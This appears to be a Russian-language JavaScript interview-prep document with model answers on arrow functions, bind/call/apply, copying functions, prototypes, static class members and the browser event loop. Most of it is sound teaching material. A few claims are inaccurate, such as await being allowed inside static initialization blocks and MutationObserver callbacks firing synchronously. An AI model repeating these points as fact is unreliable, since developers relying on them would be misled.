5. super: Нет vs Лексический
- Function Declaration: Не имеет доступа к
super(SyntaxError при попытке использования). - Arrow Function: Имеет доступ к
superлексически (какthis). Родительскийsuperберется из[[HomeObject]]внешнего метода/конструктора.Важно:class Base { greet() { return 'Base'; } }class Derived extends Base {// Стрелочное свойство класса — имеет доступ к super через [[HomeObject]] классаarrowGreet = () => super.greet() + ' -> Derived';// Обычный метод — тоже имеет supermethodGreet() { return super.greet() + ' -> Derived'; }}superв стрелочной функции работает только если она создана внутри метода/класса, у которого есть[[HomeObject]]. В глобальном коде или в обычной функции —SyntaxError.
6. yield / Генераторы: Можно vs Нельзя
- Function Declaration: Может быть генератором:
function* gen() { yield 1; }. - Arrow Function: Не может быть генератором.
yieldвнутри стрелочной —SyntaxError(если не вложен в генератор внешней функции).- Нет синтаксиса
*() => {}. - Нет
AsyncGeneratorстрелки.
- Нет синтаксиса
7. Хостинг и область видимости
| Характеристика | Function Declaration | Arrow Function (как const) |
|---|---|---|
| Хостинг | Полное (имя + тело). Доступно везде в скопе. | Только биндинга переменной (const/let/var). В TDZ до строки. |
| Scope | Функциональный (sloppy) / Блочный (strict/ESM). | Блочный (всегда const/let поведение). |
Имя (name) | Явное. | Вывод из переменной (Inferred Name) или anonymous. |
8. caller / arguments.callee (Deprecated / Non-strict)
- Function Declaration: В non-strict mode имеет свойство
callerиarguments.callee(рекурсия анонимных функций). - Arrow Function: Нет
caller, нетarguments→ нетcallee. - Рекурсия в анонимной стрелочке: Только через именованное выражение или Y-комбинатор (редко нужно).
const fact = (n) => n <= 1 ? 1 : n * fact(n - 1); // Работает, т.к. fact в замыкании
9. Производительность и JIT (V8 / SpiderMonkey / JavaScriptCore)
- Inline Caches (IC): Для стрелочных функций IC для
thisпроще (всегда одно значение), но для вызова (CallIC) — аналогично. - Создание замыкания: Стрелочная функция, использующая внешние переменные (включая
this), создает Closure Context (Context object в V8). Обычная функция создает контекст только если использует внешние переменные и не оптимизирована. - Memory (Class Fields):
Для высоконагруженных систем (тысячи экземпляров) — только методы в прототипе (class A { method = () => {} } // Функция создается В КОНСТРУКТОРЕ на КАЖДОМ new A()class B { method() {} } // Функция ОДНА на B.prototype
class B). Стрелочные поля — удобство за память. - Парсинг: Стрелочные функции парсятся чуть быстрее (нет блока
function, нетprototypeинициализации), но разница микроскопична.
10. Чек-лист: Что выбрать? (Decision Matrix)
| Ситуация | Выбор | Почему |
|---|---|---|
| Колбэк (map, filter, Promise.then, setTimeout) | Arrow | Лексический this, кратко, не нужен new. |
| Метод объекта / Класса | Method Syntax (method() {}) | Нужен динамический this, super, прототип (память). |
Event Listener (нужен this = element) | Function Expression / Declaration | Стрелка сломает this. |
| Конструктор / Класс (extends) | class / function | Стрелка не имеет [[Construct]] / prototype. |
| Рекурсия (анонимная) | Named Function Expression | const fn = function me() { me() } — надежно, видно в стеке. |
| Генератор / Async Generator | function* / async function* | Стрелки не поддерживают yield. |
Нужен arguments (легаси/варядика без rest) | function | У стрелочек нет arguments. |
Динамический this (call, apply, bind) | function | Стрелка игнорирует биндинг this. |
Резюме:
Стрелочные функции — это замыкания с лексическим this, лишенные механизма вызова как конструктора ([[Construct]]), прототипа, arguments и super (кроме лексического доступа). Они решают главную боль JS до ES6 — потерю this в колбэках, но не заменяют обычные функции там, где нужен полиморфизм контекста (this), наследование через прототипы или генераторы.
Вопрос 8. Можно ли привязать контекст к стрелочной функции через bind, call, apply.
Таймкод: 00:09:31
Ответ собеседника: Правильный. Сначала думал, что bind подойдет, но затем понял: стрелочные функции не имеют своего this, поэтому привязка контекста через bind, call, apply не сработает — лексический this останется неизменным.
Правильный ответ:
Короткий ответ: Нет, нельзя. Методы bind, call, apply игнорируют первый аргумент (thisArg) при работе со стрелочными функциями. this внутри стрелочной функции всегда остается лексическим (тем, что был в момент создания).
1. Как это работает по спецификации (ECMAScript)
У стрелочной функции внутренний слот [[ThisMode]] имеет значение lexical.
При вызове внутреннего метода [[Call]] (который вызывается и при обычном вызове, и через call/apply, и при вызове биндированной функции) алгоритм делает следующее:
- Если
[[ThisMode]]===lexical→ использовать сохраненный[[ThisValue]](захваченный из внешнего окружения при создании). - Игнорировать
thisArgument, переданный извне.
const obj = { x: 10 };
const arrow = () => this.x;
const bound = arrow.bind({ x: 20 }); // bind создает Bound Function Exotic Object
arrow.call({ x: 30 }); // call
arrow.apply({ x: 40 }); // apply
console.log(arrow()); // undefined (или window.x в sloppy mode) — лексический this модуля/скрипта
console.log(bound()); // undefined — bind проигнорирован
console.log(arrow.call({ x: 30 })); // undefined — call проигнорирован
Что происходит с bind:
arrow.bind(newThis) создает новый объект-функцию (Bound Function), у которой:
[[BoundTargetFunction]]=arrow[[BoundThis]]=newThis- Но у самой стрелочной функции
[[ThisMode]]=lexical. - При вызове
bound()→ вызываетсяarrow.[[Call]]→ видитlexical→ берет свой[[ThisValue]]→[[BoundThis]]отбрасывается.
2. Аргументы (call/apply/bind с параметрами) — РАБОТАЮТ
Только this игнорируется. Передача аргументов работает нормально:
const sum = (a, b) => a + b;
sum.call(null, 1, 2); // 3
sum.apply(null, [1, 2]); // 3
const boundSum = sum.bind(null, 1);
boundSum(2); // 3
3. Почему так сделано (Design Rationale)
Стрелочные функции созданы именно для решения проблемы потери this в колбэках. Если бы bind/call/apply работали, это нарушало бы гарантию: «this внутри стрелки всегда равен this снаружи стрелки». Это сделало бы их поведение непредсказуемым и аналогичным обычным функциям, лишив смысл существования.
4. Типичные ошибки и ловушки (Senior Level)
А. addEventListener / removeEventListener
class Handler {
constructor() {
// ОШИБКА: bind создает НОВУЮ функцию каждый раз
// removeEventListener не сработает, т.к. ссылки разные
this.el.addEventListener('click', this.onClick.bind(this));
}
onClick = () => { /* ... */ } // Стрелка в поле класса
}
// ПРАВИЛЬНО для стрелочного поля класса (this зафиксирован на экземпляр):
// this.el.addEventListener('click', this.onClick);
// removeEventListener('click', this.onClick); // Сработает
Б. bind в цикле / рендере (React, Vue и т.д.)
// ПЛОХО: новая функция на каждый рендер
<button onClick={this.handleClick.bind(this, id)} />
// ХОРОШО (стрелочное поле класса или useCallback):
handleClick = (id) => { ... } // поле класса
// или
const handleClick = useCallback((id) => { ... }, []);
В. Object.defineProperty / дескрипторы
Нельзя сделать стрелочную функцию аксессором (getter/setter) с динамическим this:
const obj = {
get arrowGet() { return this.x; } // Обычная функция (method syntax) — this динамический
};
// Нельзя: get: () => this.x — this будет лексическим (window/module), не obj
5. Как «обмануть» систему, если очень нужно (Anti-patterns)
Если критически необходимо вызвать стрелочную функцию с чужим this (например, интеграция со старой библиотекой, ожидающей this):
-
Обертка (Wrapper) — единственный правильный способ:
const arrow = () => console.log(this.x);const wrapper = function() { return arrow.call(this); }; // Обычная функция пробрасывает thiswrapper.call({ x: 42 }); // 42Стрелка все равно использует свой лексический
this, но если она не используетthisвообще, а только аргументы — это работает. -
Переписать на обычную функцию. Если нужен динамический
this— используйтеfunction.
6. Резюме для собеседования
| Метод | Обычная функция | Стрелочная функция |
|---|---|---|
fn.call(obj, ...) | this = obj | this = лексический (игнорирует obj) |
fn.apply(obj, [...]) | this = obj | this = лексический (игнорирует obj) |
fn.bind(obj) | Возвращает функцию с this = obj | Возвращает функцию, игнорирующую obj |
| Аргументы | Работают | Работают |
Вывод: Стрелочные функции неполноценные в смысле управления контекстом. Они «закрыты» для внешнего воздействия на this. Это фича, не баг. Если нужен управляемый this — пишите function.
Вопрос 9. Как скопировать функцию, если нет structuredClone.
Таймкод: 00:13:14
Ответ собеседника: Неполный. Предложил просто передать ссылку на ту же функцию (так как функции — объекты и переиспользуются). Упомянул экзотический способ через new Function и toString(), но не уверен в его правильности. Не предложил создание новой функции с тем же телом вручную.
Правильный ответ:
Строго говоря, функции не клонируются (в отличие от объектов и массивов), потому что они являются исполняемым кодом + замыканием (Lexical Environment). structuredClone выбрасывает DataCloneError при попытке склонировать функцию.
Под «копированием» обычно подразумевают одно из двух:
- Создание новой функции-обертки (Wrapper), которая делегирует вызов оригиналу (сохраняет замыкание,
this, аргументы). - Воспроизведение кода функции (реконструкция) — сложно, ломает замыкания, используется редко.
1. Паттерн «Обертка» (Function Wrapper) — Стандартный подход
Создаем новую функцию, которая вызывает оригинальную. Это единственный надежный способ сохранить поведение, замыкание и контекст вызова.
function copyFunction(fn, name) {
// Используем Function Declaration/Expression для сохранения stack trace
// name — опционально, для дебаггинга
const wrapper = function (...args) {
return fn.apply(this, args); // Пробрасываем this и аргументы
};
// Копируем статические свойства (name, length, custom props)
// name — read-only, меняется через defineProperty
Object.defineProperty(wrapper, 'name', { value: name || fn.name, configurable: true });
// length — количество обязательных параметров (read-only)
Object.defineProperty(wrapper, 'length', { value: fn.length, configurable: true });
// Копируем кастомные свойства (например, fn.config = { retry: 3 })
Object.assign(wrapper, fn);
// Важно: prototype НЕ копируется (wrapper.prototype !== fn.prototype)
// Если fn — конструктор, wrapper НЕ сможет правильно создавать экземпляры
// (instanceof fn будет false). Это фундаментальное ограничение.
return wrapper;
}
// Использование
const original = function add(a, b) { return a + b; };
original.customProp = 42;
const copy = copyFunction(original, 'addCopy');
console.log(copy(1, 2)); // 3
console.log(copy.customProp); // 42
console.log(copy.name); // 'addCopy'
console.log(copy.length); // 2
Нюансы обертки:
thisпробрасывается корректно (apply(this, args)).- Замыкание оригинала сохраняется (оригинал вызывается в своем лексическом окружении).
- Потеря
prototype:new copy()создаст объект с прототипомwrapper.prototype, а неoriginal.prototype.instanceof original→false. Лечится толькоObject.setPrototypeOf(wrapper.prototype, original.prototype)(медленно, ломает оптимизации) илиReflect.constructвнутри обертки (сложно). new.target: Внутриfnбудетnew.targetравнымwrapper, а неundefined(если вызывали безnew) илиoriginal.
2. new Function(...args, body) — Реконструкция из строки (Anti-pattern)
const copy = new Function('return ' + original.toString())();
// или
const copy = new Function(...original.toString().match(/\(([^)]*)\)/)[1].split(','), original.toString().match(/\{([\s\S]*)\}/)[1]);
Почему это плохо (Senior Level):
- Потеря замыкания (Scope): Новая функция создается в глобальной области видимости. Она не видит переменные из лексического окружения оригинала.
function factory(secret) {return function inner() { return secret; };}const fn = factory(42);const copy = new Function('return ' + fn.toString())();copy(); // ReferenceError: secret is not defined
- CSP (Content Security Policy): Требует
script-src 'unsafe-eval'. Заблокировано в продакшене многих банков/гос. систем. - Производительность: Парсинг строки в рантайме — медленно, нет кэширования JIT (нет Inline Caches).
- Точность парсинга:
toString()может вернуть нативный код ([native code]) для встроенных функций, минифицированный код без пробелов, или код с зависимостью от контекста (например,classextends выражение). this/arguments/super: Поведение может отличаться (strict mode по умолчанию в модулях, ноnew Functionсоздает sloppy-функцию, если не добавить'use strict';в тело).
Когда допустимо: Только в песочницах, REPL, динамических плагинах, где нет замыканий и есть CSP unsafe-eval.
3. Function.prototype.bind — Частичное «копирование» с фиксацией this
const boundCopy = original.bind(null); // this = null (или obj)
- Создает Bound Function Exotic Object.
lengthуменьшается на количество забинденных аргументов.name="bound " + original.name.- Нет
prototype(нельзя использоватьnew boundCopy()—TypeError). - Замыкание сохраняется.
- Подходит, если нужно зафиксировать контекст и/или частично применить аргументы (currying), но не как универсальное клонирование.
4. eval — Аналог new Function, но с доступом к лексическому окружению
const copy = eval('(' + original.toString() + ')');
- Имеет доступ к замыканию (в отличие от
new Function), так как выполняется в текущем лексическом контексте. - Те же проблемы: CSP
unsafe-eval, производительность, парсингtoString(), security риски (инъекции). - В строгом режиме (
'use strict')evalсоздает свою область видимости, но переменные внешнего скоупа доступны для чтения/записи.
5. Копирование методов классов / прототипов
Если нужно скопировать метод с прототипа на другой объект/прототип:
// Простое присваивание ссылки (не копия функции, а копия ссылки)
Child.prototype.method = Parent.prototype.method;
// Если нужна обертка (например, для логирования/изменения this):
Child.prototype.method = function(...args) {
return Parent.prototype.method.apply(this, args);
};
// Object.assign / spread копируют ССЫЛКИ на функции
const obj2 = { ...obj1, method: obj1.method }; // Та же функция
6. Резюме: Чек-лист выбора стратегии
| Задача | Решение |
|---|---|
| Просто передать функцию дальше | Не копируй. Используй ссылку fn. Функции иммутабельны по природе (код не меняется). |
| Добавить логирование / метрики / retry / дебаунс | Обертка (Wrapper). Сохраняет this, замыкание, аргументы. Копируй name/length/props через Object.defineProperty/assign. |
Зафиксировать this / карринг | fn.bind(context, ...args). Понимай потерю prototype и изменение length. |
| Сериализация / передача в Worker / postMessage | Нельзя передать функцию. Передавай код как строку (fn.toString()) или используй Comlink / RPC библиотеки, которые делают прокси. |
Глубокое клонирование объекта с методами (structuredClone) | Исключи методы перед клонированием, затем восстанови ссылки/обертки. Функции не клонируются. |
Нужна точная копия конструктора (для instanceof) | Невозможно в пользовательском коде. Только нативные движки могут клонировать функцию с сохранением [[Realm]], [[Prototype]], [[HomeObject]]. |
Best Practice: В 99% случаев «копирование функции» — это XY Problem. Рефакторь код так, чтобы не требовалось копировать исполняемый код. Используй композицию, декораторы (обертки) или передачу ссылок.
Вопрос 10. Что является корневым прототипом для всех типов данных.
Таймкод: 00:16:01
Ответ собеседника: Правильный. В конце цепочки прототипов находится null, над ним — Object.prototype.
Правильный ответ:
Кандидат верно описал структуру вершины цепочки прототипов. Расширим ответ деталями, важными для понимания работы Object.prototype, примитивов и исключений.
1. Object.prototype — вершина для обычных объектов
Для любого объекта, созданного через:
- Литерал:
{} - Конструктор:
new Object() Object.create(null)— ИСКЛЮЧЕНИЕ (см. ниже)- Конструкторные функции / Классы (если не переопределен прототип)
Цепочка выглядит так:
myObj → Object.prototype → null
Object.prototype содержит базовые методы, доступные у «всех» объектов:
hasOwnProperty, isPrototypeOf, propertyIsEnumerable, toString, valueOf, toLocaleString, constructor.
2. null — конец цепочки
Спецификация определяет, что у Object.prototype внутренний слот [[Prototype]] равен null.
При обращении к свойству движок поднимается по цепочке, пока не найдет свойство или не упрется в null → возвращает undefined.
Object.getPrototypeOf(Object.prototype); // null
3. Исключение: Object.create(null) — объекты без прототипа (Dictionary Objects)
const dict = Object.create(null);
dict.foo = 'bar';
console.log(dict.toString); // undefined (нет унаследованных методов)
console.log('toString' in dict); // false
Object.getPrototypeOf(dict); // null
- У таких объектов нет
Object.prototypeв цепочке. - Используются как чистые хеш-мапы (map/dictionary) для хранения пользовательских данных без риска коллизий с встроенными свойствами (
__proto__,constructor,hasOwnProperty). - В современном коде часто заменяются на
Map, но полезны для JSON-подобных структур.
4. Примитивы и их прототипы (Wrapper Objects)
Примитивы (string, number, boolean, bigint, symbol) не имеют прототипа как значения.
Однако при обращении к свойству/методу происходит автоупаковка (boxing) — создание временного объекта-обертки, чей прототипом является соответствующий встроенный прототип:
| Примитив | Обертка (Constructor) | Прототип обертки ([[Prototype]] обертки) |
|---|---|---|
string | String | String.prototype → Object.prototype → null |
number | Number | Number.prototype → Object.prototype → null |
boolean | Boolean | Boolean.prototype → Object.prototype → null |
bigint | BigInt | BigInt.prototype → Object.prototype → null |
symbol | Symbol | Symbol.prototype → Object.prototype → null |
'str'.toString(); // Временно: new String('str').toString()
// Цепочка: String.prototype → Object.prototype → null
Важно: null и undefined не имеют оберток и прототипов. Любое обращение к свойству — TypeError.
5. Встроенные объекты (Arrays, Functions, Dates, Regexps, Maps, Sets...)
У всех встроенных конструкторов прототипы наследуются от Object.prototype:
[] → Array.prototype → Object.prototype → null
function(){}→ Function.prototype→ Object.prototype → null
new Date() → Date.prototype → Object.prototype → null
new Map() → Map.prototype → Object.prototype → null
Function.prototype — уникален: это функция (typeof Function.prototype === 'function'), у которой [[Prototype]] = Object.prototype.
6. Кросс-реальм (Cross-Realm) нюанс (iframe, window.open)
У каждого глобального объекта (window, globalThis) свой набор встроенных прототипов.
const iframe = document.createElement('iframe');
document.body.appendChild(iframe);
const iframeArr = iframe.contentWindow.Array;
[] instanceof Array; // true
[] instanceof iframeArr; // false (разные Array.prototype)
Object.getPrototypeOf([]) === Array.prototype; // true
Поэтому Array.isArray() надежнее instanceof Array.
7. Резюме: Схема «Корневого прототипа»
┌─────────────────────────────────────┐
│ Object.prototype │ ← ЕДИНЫЙ общий корень для ВСЕХ обычных объектов
│ (hasOwnProperty, toString, ...) │
└──────────────┬──────────────────────┘
│ [[Prototype]]
▼
┌─────────────────────────────────────┐
│ null │ ← Конец цепочки (null prototype)
└─────────────────────────────────────┘
ИСКЛЮЧЕНИЯ (не имеют Object.prototype в цепочке):
1. Object.create(null) → null
2. Примитивы (как значения) → нет прототипа (только у временных оберток)
3. null / undefined → нет прототипа
Вопрос 11. Что такое статические методы и поля класса и где они применяются.
Таймкод: 00:16:19
Ответ собеседника: Правильный. Статические методы вызываются на самом классе без создания экземпляра. Привёл пример из практики: сервис-классы для работы с API (ClientActionService), где методы getList, update сделаны статическими, так как состояние экземпляра не нужно.
Правильный ответ:
Статические члены (static) принадлежат конструктору класса (функции-конструктору), а не его прототипу (prototype). Они недоступны на экземплярах (instance.staticMethod → undefined).
В спецификации это реализуется через установку свойств непосредственно на функцию-конструктор (ClassName.prop = ...), а не на ClassName.prototype.
1. Синтаксис и виды статических членов (ES2022+)
class ApiClient {
// 1. Статические публичные поля (ES2022)
static baseUrl = 'https://api.example.com';
static defaultHeaders = { 'Content-Type': 'application/json' };
// 2. Статические приватные поля (ES2022) — настоящая инкапсуляция
static #cache = new Map();
static #requestId = 0;
// 3. Статические публичные методы
static getHeaders() {
return { ...this.defaultHeaders, 'X-Request-Id': ++this.#requestId };
}
// 4. Статические приватные методы (ES2022)
static #generateId() {
return Math.random().toString(36).slice(2);
}
// 5. Статический блок инициализации (ES2022) — сложная логика при загрузке класса
static {
console.log('ApiClient загружен, базовый URL:', this.baseUrl);
// Можно использовать await (только в модулях), try/catch, циклы
this.#initCacheFromLocalStorage();
}
// 6. Обычный (экземплярный) метод для контраста
constructor(endpoint) {
this.endpoint = endpoint;
}
async fetchData() {
// Обращение к статике через this.constructor или имя класса
const headers = this.constructor.getHeaders();
// или ApiClient.getHeaders()
return fetch(`${ApiClient.baseUrl}${this.endpoint}`, { headers });
}
}
2. Как это работает «под капотом» (Prototype Chain)
class Parent {
static staticProp = 'parent';
static staticMethod() { return 'parent method'; }
}
class Child extends Parent {}
// 1. Статические свойства НЕ в prototype цепочке экземпляров
const child = new Child();
console.log(child.staticProp); // undefined
// 2. Статические свойства НАСЛЕДУЮТСЯ через прототип КОНСТРУКТОРА
console.log(Child.staticProp); // 'parent' (нашли на Parent)
console.log(Child.staticMethod()); // 'parent method'
// 3. Цепочка прототипов конструкторов:
Child.__proto__ === Parent; // true (static inheritance)
Child.prototype.__proto__ === Parent.prototype; // true (instance inheritance)
Ключевой момент: extends настраивает две цепочки прототипов:
Child.prototype → Parent.prototype(для экземпляров).Child → Parent(для статических членов).
3. this в статических методах — это Класс (Конструктор)
class Base {
static name = 'Base';
static printName() { console.log(this.name); }
}
class Derived extends Base {
static name = 'Derived';
}
Base.printName(); // 'Base' (this === Base)
Derived.printName(); // 'Derived' (this === Derived) — полиморфизм работает!
Это позволяет реализовывать Factory Methods и Active Record паттерны.
4. Паттерны применения (Senior/Architect Level)
А. Factory Methods (Фабричные методы) — классика
class User {
constructor(name, role) { this.name = name; this.role = role; }
static createAdmin(name) { return new User(name, 'admin'); }
static createGuest() { return new User('Guest', 'guest'); }
static async fromAPI(id) {
const data = await fetch(`/users/${id}`).then(r => r.json());
return new User(data.name, data.role);
}
}
const admin = User.createAdmin('Root'); // Четкое намерение, валидация внутри
Б. Singleton / Реестр / Кэш (Приватные статические поля #)
class ConfigManager {
static #instance = null;
static #settings = {};
static getInstance() {
if (!this.#instance) this.#instance = new ConfigManager();
return this.#instance;
}
static set(key, val) { this.#settings[key] = val; }
static get(key) { return this.#settings[key]; }
}
Приватные статические поля (#) — единственный способ сделать действительно приватное состояние на уровне класса в JS (доступно только внутри тела класса).
В. Утилиты и хелперы (Stateless)
class DateUtils {
static formatISO(date) { return date.toISOString().slice(0, 10); }
static addDays(date, days) { ... }
// Нет this, нет состояния — чистые функции, сгруппированные по неймспейсу
}
Г. Наследование конфигурации (Metadata)
class BaseModel {
static tableName = 'base_table';
static primaryKey = 'id';
static getQuery() { return `SELECT * FROM ${this.tableName}`; }
}
class UserModel extends BaseModel {
static tableName = 'users'; // Переопределение
static primaryKey = 'user_id';
}
UserModel.getQuery(); // 'SELECT * FROM users' — this указывает на UserModel
Д. Статические блоки инициализации (static {})
- Выполняются один раз при определении класса (до создания экземпляров).
- Имеют доступ к приватным статическим полям (
#). - Поддерживают
await(только в ES Modules). - Кейсы: загрузка конфигурации, регистрация в глобальном реестре, парсинг сложных констант.
5. Частые ошибки и ловушки
| Ошибка | Причина | Решение |
|---|---|---|
this.staticMethod() в экземплярном методе | this = экземпляр, у него нет статического метода | this.constructor.staticMethod() или ClassName.staticMethod() |
super.staticMethod() в статическом методе наследника | Работает корректно (вызывает родительский статический) | Использовать без страха |
super.staticMethod() в экземплярном методе | super в экземплярном методе = Parent.prototype (нет статики) | this.constructor.__proto__.staticMethod() или Parent.staticMethod() |
Копирование класса const C = Parent | Статические методы скопированы (ссылка), но this внутри них будет указывать на C | Нормальное поведение, учитывать при декораторах |
Object.assign(Child, Parent) | Не настраивает цепочку прототипов конструкторов (Child.__proto__ !== Parent) | Использовать extends или Object.setPrototypeOf(Child, Parent) |
6. Статические поля vs Поля экземпляра (Performance & Memory)
class Example {
// 1. Статическое поле — ОДНО значение на весь класс (память O(1))
static sharedConfig = { retries: 3 };
// 2. Поле экземпляра — копия на КАЖДЫЙ new Example() (память O(N))
instanceConfig = { retries: 3 };
// 3. Метод в прототипе — ОДНА функция (O(1))
protoMethod() {}
// 4. Стрелочное поле класса — НОВАЯ функция на КАЖДЫЙ экземпляр (O(N))
arrowMethod = () => {};
}
- Статические поля/методы — экономия памяти для общего состояния/логики.
- Стрелочные поля класса (
method = () => {}) — утечка памяти при массовом создании экземпляров (тысячи объектов), используйте только для авто-биндингаthisв колбэках, где критично.
7. Резюме: Когда использовать static
- Фабрики (
User.fromJSON(),Promise.resolve()). - Синглтоны / Реестры / Кэши (приватные
#fields). - Конфигурация / Константы (
defaultOptions,API_URL). - Утилиты, не требующие состояния экземпляра (
Math,DateUtils,Validator). - Метаданные для ORM/ActiveRecord (
tableName,fillable). - Настройка наследования (переопределение статических полей в потомках).
Не используйте static, если метод нужен this экземпляра (доступ к this.props, this.state, приватным полям #field экземпляра).
Вопрос 12. Как устроен Event Loop в браузере.
Таймкод: 00:18:26
Ответ собеседника: Неполный. Описал цикл: синхронный код (стек) -> все микрозадачи (промисы, queueMicrotask) -> рендеринг браузера -> одна макрозадача (setTimeout, события, fetch). Упомянул Web API как источник асинхронности.
Правильный ответ:
Кандидат верно описал базовую модель (Call Stack → Microtasks → Render → Macrotask), но упустил ключевые детали: приоритеты задач, взаимодействие с рендерингом, requestAnimationFrame, requestIdleCallback, ** microtasks checkpoint** внутри рендеринга и отличия от Node.js.
Ниже — полная схема работы Event Loop в браузере по спецификации HTML Living Standard (Event Loop Processing Model).
1. Основные сущности
- Call Stack (Стек вызовов): Выполняет синхронный JS-код. Один поток (Main Thread).
- Web APIs (Browser APIs):
setTimeout,fetch,DOM Events,requestAnimationFrame,IntersectionObserverи др. Работают параллельно с JS (в отдельных потоках браузера). Когда операция завершается, они помещают колбэк в Task Queue. - Task Queue (Macrotask Queue / Task Source): Очереди задач. В браузере не одна очередь, а несколько наборов очередей (Task Sources) с разным приоритетом:
- User Interaction (click, input) — Highest.
- Network / Fetch callbacks — High.
- Timers (
setTimeout,setInterval) — Low (с клампингом 4мс для вложенных). - Idle callbacks (
requestIdleCallback) — Lowest.
- Microtask Queue (Microtask Queue): Очередь микрозадач. Источники:
Promise.then/catch/finally,await(после разрешения).queueMicrotask(fn).MutationObserverколбэки.
- Rendering Steps (Render Pipeline): Не задача, а фаза внутри итерации цикла.
2. Алгоритм одной итерации Event Loop (Event Loop Tick)
Спецификация определяет строгий порядок:
ПОКА (Event Loop работает) {
1. ВЫПОЛНИТЬ СТАРУЮ ЗАДАЧУ (OLDEST TASK) ИЗ ПРИОРИТЕТНОЙ ОЧЕРЕДИ
→ Запуск Call Stack.
→ Выполнение до пустого стека.
2. MIROTASK CHECKPOINT (Пока Microtask Queue не пуста)
→ Взять микрозадачу → Выполнить (Call Stack).
→ Повторять, ПОКА очередь не пуста.
→ ВАЖНО: Микрозадачи, добавленные ДУРИНГ выполнении микрозадач, выполняются ТУТ ЖЕ в этом же чекпоинте.
3. УВЕДОМИТЬ "ОБНОВЛЕНИЕ РЕНДЕРИНГА" (Update the Rendering)
→ Если браузер считает нужным (обычно 60fps / vsync):
А. requestAnimationFrame (rAF) callbacks → выполняются ПЕРЕД layout/paint.
Б. IntersectionObserver callbacks.
В. ResizeObserver callbacks.
Г. СТИЛИ (Recalculate Style) → ЛЕЙАУТ (Layout/Reflow) → ПЕЙНТ (Paint) → COMPOSITE.
→ Если вкладка невидима / throttled — шаг может быть пропущен.
4. REQUESTIDLECALLBACK (если есть свободное время до следующего кадра)
→ Выполнение колбэков requestIdleCallback (deadline.timeRemaining()).
5. ПОВТОРИТЬ ЦИКЛ (вернуться к шагу 1).
}
3. Ключевые нюансы, отличающие Senior понимание
А. Микрозадачи «поглощают» макрозадачи Пока есть хоть одна микрозадача — следующая макрозадача не начнется.
console.log('1 Sync');
setTimeout(() => console.log('2 Macro'), 0);
Promise.resolve().then(() => {
console.log('3 Micro');
Promise.resolve().then(() => console.log('4 Micro nested')); // Добавилась в ТЕКУЩИЙ чекпоинт
});
console.log('5 Sync');
// Порядок: 1, 5, 3, 4, 2
Б. requestAnimationFrame (rAF) — это НЕ макрозадача и НЕ микрозадача
Это колбэки, выполняющиеся в фазе рендеринга (шаг 3А), строго перед пересчетом стилей и лейаутом.
- Гарантированно выполняются один раз за кадр (обычно 16.6мс).
- Идеальны для анимаций, чтения/записи DOM (избегают Layout Thrashing).
- Вложенные
rAFзапланируются на следующий кадр.
В. requestIdleCallback (rIC) — выполняется ПОСЛЕ рендеринга (шаг 4)
- Только если браузер простаивает (есть время до дедлайна кадра).
- Может не выполниться никогда, если вкладка активна и нагружена.
- В Firefox/ Safari требует флага или не работает в основных потоках (Web Workers имеют свой Event Loop).
Г. Приоритеты Task Sources (Task Prioritization) Браузер не просто FIFO. Он выбирает задачу из очереди с высшим приоритетом.
// Порядок выполнения (примерно):
btn.onclick = () => console.log('Click'); // User Interaction (High)
setTimeout(() => console.log('Timeout'), 0); // Timer (Low)
fetch('/api').then(() => console.log('Fetch')); // Network (High) - когда придет ответ
// Клик пользователя обработается ДО таймера, даже если таймер стоит раньше в коде.
// Fetch придет асинхронно, но его колбэк будет High priority.
Д. MutationObserver — это Микрозадачи
Срабатывают синхронно после изменения DOM, но перед рендерингом (в чекпоинте шага 2).
const obs = new MutationObserver(() => console.log('Mutated'));
obs.observe(el, { childList: true });
el.appendChild(node);
// 1. Sync: appendChild
// 2. Microtask Checkpoint: MutationObserver callback fires HERE
// 3. Render: Paint
Е. await и yield (планирование)
await Promise.resolve(); // → queueMicrotask (продолжение функции)
await 0; // → то же самое (thenable resolution)
await всегда отдает управление (yield) в микрозадачу.
4. Пример сложного порядка выполнения (Comprehensive Test)
console.log('1. Script Start');
setTimeout(() => console.log('2. setTimeout 0 (Macro)'), 0); // Timer Source
Promise.resolve().then(() => console.log('3. Promise (Micro)')); // Microtask
queueMicrotask(() => console.log('4. queueMicrotask (Micro)')); // Microtask
requestAnimationFrame(() => console.log('5. rAF (Render Phase)')); // Animation Frame Source
requestIdleCallback(() => console.log('6. rIC (Idle Phase)')); // Idle Source
// Добавим взаимодействие (если бы был клик, он прервал бы таймер)
console.log('7. Script End');
/*
ВЫВОД (порядок):
1. Script Start
7. Script End
3. Promise (Micro)
4. queueMicrotask (Micro)
--- Microtask Checkpoint End ---
--- Render Phase Start ---
5. rAF (Render Phase) <-- ПЕРЕД paint
--- Paint ---
--- Idle Phase ---
6. rIC (Idle Phase) <-- ЕСЛИ есть время
--- Next Tick ---
2. setTimeout 0 (Macro)
*/
5. Event Loop в Node.js — критические отличия (для полноты картины)
| Характеристика | Browser | Node.js (libuv) |
|---|---|---|
| Фазы | Непрерывный цикл с рендерингом | 6 фаз: Timers → Pending Callbacks → Idle/Prepare → Poll → Check → Close Callbacks |
process.nextTick | Нет (аналог queueMicrotask) | Отдельная очередь, выполняется после КАЖДОЙ фазы и между колбэками. Приоритет выше Promise. |
setImmediate | Нет (полифил через postMessage) | Фаза Check (сразу после Poll). Выполняется после I/O колбэков текущего тика. |
Timers (setTimeout) | Клампинг 4мс (вложенные) | Минимум 1мс, но точность зависит от фазы Poll. |
requestAnimationFrame | Есть (vsync) | Нет (эмулируется через setImmediate/setTimeout). |
Microtasks (Promise) | После каждой задачи / рендера | После каждой фазы + nextTick queue. |
6. Практические паттерны (Best Practices)
- Не блокируйте Main Thread > 50мс (INP / Interaction to Next Paint metric). Дробите работу:
// Плохо: блокирует рендеринг и вводfor (let i = 0; i < 1e7; i++) heavyCalc();// Хорошо: yield к Event Loop через scheduler.yield() (новый API) или setTimeout 0async function chunkedWork(items) {for (const item of items) {heavyCalc(item);if (shouldYield()) await scheduler.yield(); // или await Promise.resolve()}}
- DOM чтение/запись — батчинг через rAF:
// Layout Thrashing (плохо)el.style.width = '100px';console.log(el.offsetWidth); // Force Reflowel.style.height = '100px';// Правильно (rAF батчит запись и чтение)requestAnimationFrame(() => {el.style.width = '100px';el.style.height = '100px';});requestAnimationFrame(() => {console.log(el.offsetWidth); // Читаем после paint});
queueMicrotaskvsPromise.resolve().then:queueMicrotaskчуть быстрее (нет оверхеда промиса), семантичнее для «выполнить после текущего синхронного кода».- Избегайте
requestIdleCallbackдля критической логики — не гарантированно выполнится. Используйте для фоновой аналитики, префетчинга, некритичных вычислений.
7. Резюме для интервью (Mental Model)
